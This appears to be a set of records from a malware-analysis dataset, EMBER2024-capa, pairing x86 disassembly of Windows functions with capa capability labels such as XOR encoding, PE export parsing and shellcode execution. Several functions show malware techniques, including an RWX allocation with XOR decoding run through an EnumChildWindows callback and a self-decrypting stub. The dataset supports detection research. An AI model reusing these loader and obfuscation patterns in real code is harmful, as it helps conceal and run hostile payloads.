joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100036c0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
call sym._wined3d_mutex_lock_0
mov eax, dword [ebp + 8]
add eax, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
and eax, 1
mov dword [ebp - 0x18], eax
je 0x100036fd
cmp esi, 4
jne 0x10003830
lea eax, [ebp - 0x10]
mov dword [ebp + 0x10], eax
lea edx, [esi + 0x20]
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
sub esp, 0xc
mov edi, eax
test eax, eax
je 0x10003837
mov eax, dword [ebx]
mov ecx, dword [ebp + 0x10]
mov dword [edi + 0x1c], esi
mov dword [edi + 8], eax
mov eax, dword [ebx + 4]
mov dword [edi + 0xc], eax
mov eax, dword [ebx + 8]
mov dword [edi + 0x10], eax
mov eax, dword [ebx + 0xc]
mov dword [esp + 8], esi
mov dword [edi + 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], ecx
mov dword [edi + 0x18], eax
lea eax, [edi + 0x20]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x10003818
mov eax, dword [ebp + 8]
mov esi, dword [eax + 4]
cmp dword [ebp - 0x14], esi
jne 0x10003787
jmp 0x100037ee
mov esi, dword [esi]
cmp dword [ebp - 0x14], esi
je 0x100037ee
mov edx, dword [ebx]
cmp dword [esi + 8], edx
jne 0x10003780
mov ecx, dword [ebx + 4]
cmp dword [esi + 0xc], ecx
jne 0x10003780
mov edx, dword [ebx + 8]
cmp dword [esi + 0x10], edx
jne 0x10003780
mov edx, dword [ebx + 0xc]
cmp dword [esi + 0x14], edx
jne 0x10003780
test esi, esi
je 0x100037ee
test byte [esi + 0x18], 1
je 0x100037be
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov dword [esp], eax
call dword [ecx + 8]
sub esp, 4
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov dword [ecx + 4], eax
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
sub esp, 0xc
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov dword [edi], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov dword [edi + 4], eax
mov dword [eax], edi
mov eax, dword [ebp + 8]
mov dword [eax + 8], edi
call sym._wined3d_mutex_unlock_0
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [edi + 0x20]
mov esi, dword [eax]
mov dword [esp], eax
call dword [esi + 4]
sub esp, 4
jmp 0x1000376f
mov ebx, 0x8876086c
jmp 0x10003806
mov ebx, 0x8007000e
jmp 0x10003806
Function at 0x10014790
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x100147e8
cmp byte [esi + ebx - 1], 0xa
je 0x100147bc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x100250a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x456fa0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x25b0
call fcn.00466ba0
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x25a6
lea eax, [ebp - 0x25ac]
push str.yyyyQ
push eax
call fcn.00467bc0
mov bl, byte [ebp - 0x25ac]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 4
push 0x1000
push 0x25a5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x25b0]
push eax
push 0x40
push 0x25a5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
lea esi, [ebp - 0x25ac]
mov ecx, edi
sub esi, edi
mov edx, 0x25a5
nop
mov al, byte [esi + ecx]
nop
nop
nop
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x457025
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457630
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x457679
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3180]
js 0x457665
cmp eax, 0x32
jl 0x457761
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3180], eax
jmp 0x457749
cmp eax, 3
jne 0x457708
push 0x6c
push dword [0x4f557c]
call fcn.00403080
mov ecx, dword [0x4f3174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576b1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457749
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4c8514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4f557c]
call fcn.00403580
add esp, 0xc
jmp 0x457749
cmp eax, 4
jne 0x457749
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3184]
js 0x457722
cmp eax, 0x32
jl 0x457761
cmp dword [0x4f54f0], 2
jne 0x45773a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457742
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3184], eax
mov eax, dword [0x4f55ac]
cmp dword [eax + 0x134], 0
jne 0x457761
push 2
call fcn.004587b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret

Function at 0x459680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4f55b8]
push 0x4573b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x41ea92
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
pushal
call fcn.0041eaa1

Function at 0x41f262
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
pushal
call fcn.0041f26e

Function at 0x41f8e7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov dword [ebp - 4], 0
call fcn.0041f8fa

Function at 0x41f961
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov dword [ebp - 4], 0
call fcn.0041f974

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x407430
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov eax, ecx
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
cmp edi, 0x1f
jb 0x4075d0
test edx, 3
je 0x407462
movzx esi, byte [edx]
movzx ebx, al
inc edx
shr eax, 8
xor esi, ebx
xor eax, dword [ebp + esi*4]
dec edi
jmp 0x407447
xor eax, dword [edx]
lea edi, [edx + edi - 0x1b]
sub edx, edi
lea ebx, [ebx]
mov ecx, dword [edi + edx + 0xc]
mov ebx, dword [edi + edx + 8]
movzx esi, bl
xor ecx, dword [ebp + esi*4 + 0xc00]
movzx esi, bh
shr ebx, 0x10
xor ecx, dword [ebp + esi*4 + 0x800]
movzx esi, bl
shr ebx, 8
xor ecx, dword [ebp + esi*4 + 0x400]
xor ecx, dword [ebp + ebx*4]
mov ebx, dword [edi + edx + 4]
movzx esi, bl
xor ecx, dword [ebp + esi*4 + 0x1c00]
movzx esi, bh
shr ebx, 0x10
xor ecx, dword [ebp + esi*4 + 0x1800]
movzx esi, bl
shr ebx, 8
xor ecx, dword [ebp + esi*4 + 0x1400]
xor ecx, dword [ebp + ebx*4 + 0x1000]
movzx esi, al
mov ebx, eax
shr ebx, 0x18
xor ecx, dword [ebp + esi*4 + 0x2c00]
xor ecx, dword [ebp + ebx*4 + 0x2000]
ror eax, 0x10
movzx esi, al
shr eax, 0x18
xor ecx, dword [ebp + esi*4 + 0x2400]
xor ecx, dword [ebp + eax*4 + 0x2800]
mov eax, dword [edi + edx + 0x18]
mov ebx, dword [edi + edx + 0x14]
movzx esi, bl
xor eax, dword [ebp + esi*4 + 0xc00]
movzx esi, bh
shr ebx, 0x10
xor eax, dword [ebp + esi*4 + 0x800]
movzx esi, bl
shr ebx, 8
xor eax, dword [ebp + esi*4 + 0x400]
xor eax, dword [ebp + ebx*4]
mov ebx, dword [edi + edx + 0x10]
movzx esi, bl
xor eax, dword [ebp + esi*4 + 0x1c00]
movzx esi, bh
shr ebx, 0x10
xor eax, dword [ebp + esi*4 + 0x1800]
movzx esi, bl
shr ebx, 8
xor eax, dword [ebp + esi*4 + 0x1400]
xor eax, dword [ebp + ebx*4 + 0x1000]
movzx esi, cl
mov ebx, ecx
shr ebx, 0x18
xor eax, dword [ebp + esi*4 + 0x2c00]
xor eax, dword [ebp + ebx*4 + 0x2000]
ror ecx, 0x10
movzx esi, cl
shr ecx, 0x18
xor eax, dword [ebp + esi*4 + 0x2400]
xor eax, dword [ebp + ecx*4 + 0x2800]
add edx, 0x18
jae 0x407470
add edi, 0x18
sub edx, 0x18
movzx ebx, al
movzx ecx, ah
shr eax, 0x10
movzx esi, al
shr eax, 8
mov eax, dword [ebp + eax*4]
xor eax, dword [ebp + ebx*4 + 0xc00]
xor eax, dword [ebp + ecx*4 + 0x800]
xor eax, dword [ebp + esi*4 + 0x400]
add edx, 4
jb 0x4075c9
xor eax, dword [edi + edx]
jmp 0x407597
add edx, edi
add edi, 3
sub edi, edx
test edi, edi
je 0x4075e7
movzx esi, byte [edx]
movzx ebx, al
inc edx
shr eax, 8
xor esi, ebx
xor eax, dword [ebp + esi*4]
dec edi
jne 0x4075d4
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40ea0d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4cdbf8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x138]
push eax
push 0x20019
xor esi, esi
mov dword [ebp - 0x134], 0x12c
push esi
mov eax, str.Software_s
push eax
push str.ClassesApplicationsRdpZapper.exe
push eax
lea eax, [ebp - 0x130]
push 0x12b
push eax
call fcn.00420ad0
add esp, 0x14
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ea9d
lea eax, [ebp - 0x134]
push eax
push edi
push esi
push esi
push str.FriendlyAppName
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x138]
xor ecx, ecx
inc ecx
test eax, eax
cmove esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.0047fe8c
leave
ret
Function at 0x41707b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, edx
test esi, esi
jne 0x41708d
xor eax, eax
jmp 0x417194
mov edx, dword [ebp + 8]
test edx, edx
jne 0x4170a2
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x417099
sub edx, ecx
or ecx, 0xffffffff
push ebx
mov ebx, 0x55555555
cmp edx, 8
jb 0x417171
push edi
mov edi, edx
shr edi, 3
movzx eax, byte [esi]
sub edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 1]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 2]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 3]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 4]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 5]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 6]
xor ecx, ebx
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
movzx eax, byte [esi + 7]
xor ecx, ebx
xor eax, ecx
add esi, 8
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + str.UUUU]
xor ecx, ebx
sub edi, 1
jne 0x4170ba
pop edi
test edx, edx
je 0x41718f
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + str.UUUU]
xor ecx, ebx
inc esi
sub edx, 1
jne 0x417175
not ecx
mov eax, ecx
pop ebx
pop esi
leave
ret
Function at 0x417d0c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push ecx
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor esi, esi
mov ecx, dword [edi + 0x3c]
mov ebx, dword [ecx + edi + 0x78]
add ebx, edi
mov eax, dword [ebx + 0x1c]
mov ecx, dword [ebx + 0x20]
add eax, edi
mov dword [ebp - 0x10], eax
add ecx, edi
mov eax, dword [ebx + 0x24]
add eax, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x18], esi
jbe 0x417d88
mov ecx, dword [ecx + esi*4]
add ecx, edi
call fcn.00417ca1
mov ecx, dword [ebp - 4]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x417d76
test dl, dl
je 0x417d72
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x417d76
add ecx, 2
add eax, 2
test dl, dl
jne 0x417d56
xor eax, eax
jmp 0x417d7b
sbb eax, eax
or eax, 1
test eax, eax
je 0x417d8f
mov ecx, dword [ebp - 8]
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x417d49
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x417d8a
Function at 0x418e4c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push edi
push 0
push esi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
call fcn.00481c10
xor ebx, ebx
add esp, 0xc
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0x10], ebx
jle 0x418eda
lea ecx, [edi - 1]
lea edx, [esi + 1]
mov eax, dword [ebp - 0x14]
push ecx
push edx
push esi
mov al, byte [ebx + eax]
xor al, byte [esi]
mov byte [ebp - 1], al
call fcn.00481690
add esp, 0xc
mov byte [edi + esi - 1], 0
test edi, edi
jle 0x418ecb
mov eax, dword [ebp + 8]
mov bl, byte [ebp - 1]
sub eax, esi
mov dword [ebp - 8], edi
mov edi, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], eax
mov cl, byte [edi + esi]
mov dl, bl
call fcn.00418edf
xor byte [esi], al
inc esi
sub dword [ebp - 8], 1
jne 0x418eaf
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp - 0xc]
inc ebx
lea ecx, [edi - 1]
lea edx, [esi + 1]
mov dword [ebp - 0xc], ebx
cmp ebx, dword [ebp - 0x10]
jl 0x418e7d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x418edf
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push 7
mov ch, cl
mov byte [ebp - 1], dl
pop eax
mov byte [ebp - 2], ch
xor bh, bh
mov dword [ebp - 8], eax
mov cl, al
mov bl, dl
shr bl, cl
movzx eax, ch
and bl, 1
movzx edx, bl
imul edx, eax
mov al, bh
shr al, 7
add bh, bh
movzx eax, al
imul ecx, eax, 0x1d
mov eax, dword [ebp - 8]
mov ch, byte [ebp - 2]
xor dl, cl
xor bh, dl
mov dl, byte [ebp - 1]
sub eax, 1
mov dword [ebp - 8], eax
jns 0x418ef5
mov al, bh
pop ebx
leave
ret
Function at 0x419264
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ecx*4 + 0x4b1fdc]
push edi
shl esi, 3
or esi, edx
push 0xa
mov edx, esi
pop edi
mov eax, edx
add edx, edx
sar eax, 9
imul ecx, eax, 0x537
xor edx, ecx
sub edi, 1
jne 0x41927c
shl esi, 0xa
or esi, edx
push 5
xor esi, 0x5412
pop ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x554620
and al, 1
movzx eax, al
push eax
push edi
push 8
pop edx
call fcn.004199ca
inc edi
pop ecx
pop ecx
cmp edi, ebx
jle 0x41929e
mov eax, esi
mov ecx, 0x554620
sar eax, 6
and al, 1
movzx eax, al
push eax
push 7
push 8
pop edi
mov edx, edi
call fcn.004199ca
mov eax, esi
mov edx, edi
sar eax, 7
mov ecx, 0x554620
and al, 1
movzx eax, al
push eax
push edi
call fcn.004199ca
mov eax, esi
mov ecx, 0x554620
sar eax, 8
and al, 1
movzx eax, al
push eax
push edi
push 7
pop edx
call fcn.004199ca
add esp, 0x18
push 9
pop edi
mov ecx, edi
mov eax, esi
sar eax, cl
mov edx, ebx
and al, 1
mov ecx, 0x554620
movzx eax, al
push eax
push 8
call fcn.004199ca
inc edi
dec ebx
pop ecx
pop ecx
cmp ebx, 0xffffffff
jg 0x419312
movzx eax, byte [0x554620]
xor ebx, ebx
mov dword [ebp - 4], eax
lea edi, [eax - 1]
mov ecx, ebx
mov eax, esi
sar eax, cl
mov edx, edi
and al, 1
mov ecx, 0x554620
movzx eax, al
push eax
push 8
call fcn.004199ca
inc ebx
dec edi
pop ecx
pop ecx
cmp ebx, 8
jl 0x419344
mov ebx, dword [ebp - 4]
push 8
pop edi
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x554620
and al, 1
movzx eax, al
push eax
lea eax, [ebx - 0xf]
add eax, edi
push eax
push 8
pop edx
call fcn.004199ca
inc edi
pop ecx
pop ecx
cmp edi, 0xf
jl 0x41936d
push 1
lea eax, [ebx - 8]
mov ecx, 0x554620
push eax
push 8
pop edx
call fcn.004199ca
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x419c44
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x16c
mov eax, dword [0x4cdbf8]
xor eax, esp
mov dword [esp + 0x168], eax
push ebx
push esi
push edi
mov ecx, dword [ebp + 0x18]
xorps xmm0, xmm0
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x14]
xor ebx, ebx
mov dword [esp + 0x20], ecx
mov ecx, dword [ebp + 0x10]
mov dword [esp + 0xc0], eax
mov eax, ebx
mov dword [esp + 0x1c], edx
movlpd qword [esp + 0xc8], xmm0
movlpd qword [esp + 0xd0], xmm0
mov dword [esp + 0xf8], ebx
mov dword [esp + 0x100], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x104], ebx
mov dword [esp + 0xe4], ebx
movlpd qword [esp + 0xe8], xmm0
movlpd qword [esp + 0xf0], xmm0
mov dword [esp + 0xdc], ecx
mov dword [esp + 0xe0], edx
movlpd qword [esp + 0x10], xmm0
mov edi, dword [ebp + 0xc]
mov dword [esp + 0xd8], edi
cmp ecx, ebx
jb 0x419d22
ja 0x419cf2
cmp edi, ebx
jbe 0x419d22
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
add esi, dword [edx + eax*8]
adc ecx, dword [edx + eax*8 + 4]
inc eax
mov dword [esp + 0x18], eax
cdq
cmp edx, dword [ebp + 0x10]
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
jb 0x419cfa
ja 0x419d2a
cmp dword [esp + 0x10], edi
jb 0x419cfa
jmp 0x419d2a
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
push ecx
push ecx
push esi
lea edx, [esp + 0x12c]
lea ecx, [esp + 0x44]
call fcn.00419e06
add esp, 0xc
mov dword [esp + 0x24], 0x67452301
lea esi, [esp + 0x24]
mov dword [esp + 0x28], 0xefcdab89
lea edi, [esp + 0x10c]
mov dword [esp + 0x2c], 0x98badcfe
mov dword [esp + 0x30], 0x10325476
push 5
pop ecx
mov dword [esp + 0x34], 0xc3d2e1f0
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0xb8]
mov edi, dword [esp + 0xbc]
shrd esi, edi, 6
shr edi, 6
cmp edi, ebx
jb 0x419db5
ja 0x419d97
cmp esi, ebx
jbe 0x419db5
lea edx, [esp + 0x10c]
lea ecx, [esp + 0x38]
call fcn.0041a2e0
inc ebx
mov eax, ebx
cdq
cmp edx, edi
jb 0x419d97
ja 0x419db5
cmp eax, esi
jb 0x419d97
mov edi, dword [esp + 0x20]
lea esi, [esp + 0x10c]
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x174]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0047fe8c
mov esp, ebp
pop ebp
ret
Function at 0x41a0ed
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x4cdbf8]
xor eax, esp
mov dword [esp + 0x110], eax
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
push 0x14
mov esi, edx
mov dword [esp + 0x1c], eax
mov edi, ecx
call fcn.00487397
push 0x14
mov dword [esp + 0x1c], eax
call fcn.00487397
mov ebx, eax
mov dword [esp + 0x18], ebx
pop ecx
pop ecx
cmp esi, 0x40
jbe 0x41a2b1
push 0x14
call fcn.00487397
and dword [esp + 0x28], 0
mov ebx, eax
push ebx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], edi
push eax
push 0
lea eax, [esp + 0x2c]
mov dword [esp + 0x30], esi
push 1
push eax
call fcn.00419c44
add esp, 0x18
lea edx, [esp + 0x5a]
mov esi, ebx
mov eax, edx
sub esi, eax
push 5
pop edi
mov ecx, dword [esi + edx]
mov eax, ecx
shr eax, 0x18
mov byte [edx - 2], al
mov eax, ecx
shr eax, 0x10
mov byte [edx - 1], al
mov eax, ecx
shr eax, 8
mov byte [edx], al
lea edx, [edx + 4]
mov byte [edx - 3], cl
sub edi, 1
jne 0x41a172
push 0x14
pop eax
push 0x40
pop edi
cmp eax, edi
jae 0x41a2da
mov byte [esp + eax + 0x58], 0
inc eax
cmp eax, edi
jl 0x41a19f
push ebx
call fcn.0048737c
mov ebx, dword [esp + 0x14]
pop ecx
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x58]
xor al, 0x36
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, edi
jl 0x41a1be
lea eax, [esp + 0x98]
mov dword [esp + 0x38], edi
mov edi, dword [esp + 0x14]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x38]
push edi
push eax
push edx
lea eax, [esp + 0x34]
mov dword [esp + 0x48], edx
push 2
push eax
mov dword [esp + 0x54], 8
mov dword [esp + 0x58], edx
call fcn.00419c44
add esp, 0x14
lea edx, [ebx + 2]
xor esi, esi
mov ecx, dword [edi + esi*4]
mov eax, ecx
shr eax, 0x18
mov byte [edx - 2], al
mov eax, ecx
shr eax, 0x10
mov byte [edx - 1], al
mov eax, ecx
shr eax, 8
inc esi
mov byte [edx], al
lea edx, [edx + 4]
mov byte [edx - 3], cl
cmp esi, 5
jl 0x41a215
xor edx, edx
push 0x40
mov ecx, edx
pop esi
mov al, byte [esp + ecx + 0x58]
xor al, 0x5c
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, esi
jl 0x41a242
push dword [esp + 0x18]
lea eax, [esp + 0xdc]
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], eax
lea eax, [esp + 0x4c]
push eax
push edx
lea eax, [esp + 0x3c]
mov dword [esp + 0x54], esi
push 2
push eax
mov dword [esp + 0x60], edx
mov dword [esp + 0x64], 0x14
mov dword [esp + 0x68], edx
call fcn.00419c44
push edi
call fcn.0048737c
push ebx
call fcn.0048737c
mov ecx, dword [esp + 0x138]
add esp, 0x1c
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0047fe8c
mov esp, ebp
pop ebp
ret
test esi, esi
jle 0x41a2c4
push esi
lea eax, [esp + 0x5c]
push edi
push eax
call fcn.00481690
add esp, 0xc
push 0x40
pop edi
jmp 0x41a2d1
jae 0x41a2da
mov byte [esp + esi + 0x58], 0
inc esi
cmp esi, edi
jl 0x41a2c9
jmp 0x41a1ba
call fcn.0047ffbc
int3
Function at 0x41d900
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4cdbf8]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4dd5d8], 0
jne 0x41d929
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047fe8c
mov esp, ebp
pop ebp
ret
push esi
push 0x548
push str.D:MyProjectsProPilotLibMisc.c
push 0
push 0x4dd5dc
call fcn.004208b0
push 0x20
call fcn.00487397
mov esi, eax
add esp, 0x14
test esi, esi
je 0x41d95a
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
mov eax, dword [0x4dd5d0]
xor ecx, ecx
inc eax
mov edx, 4
mov dword [0x4dd5d0], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
push dword [0x4dd5d4]
call fcn.004845db
mov ecx, dword [0x4dd5d0]
add esp, 8
mov dword [0x4dd5d4], eax
push 0x4dd5dc
mov dword [eax + ecx*4 - 4], esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x41d9d8
mov eax, dword [ebp + 0x18]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], eax
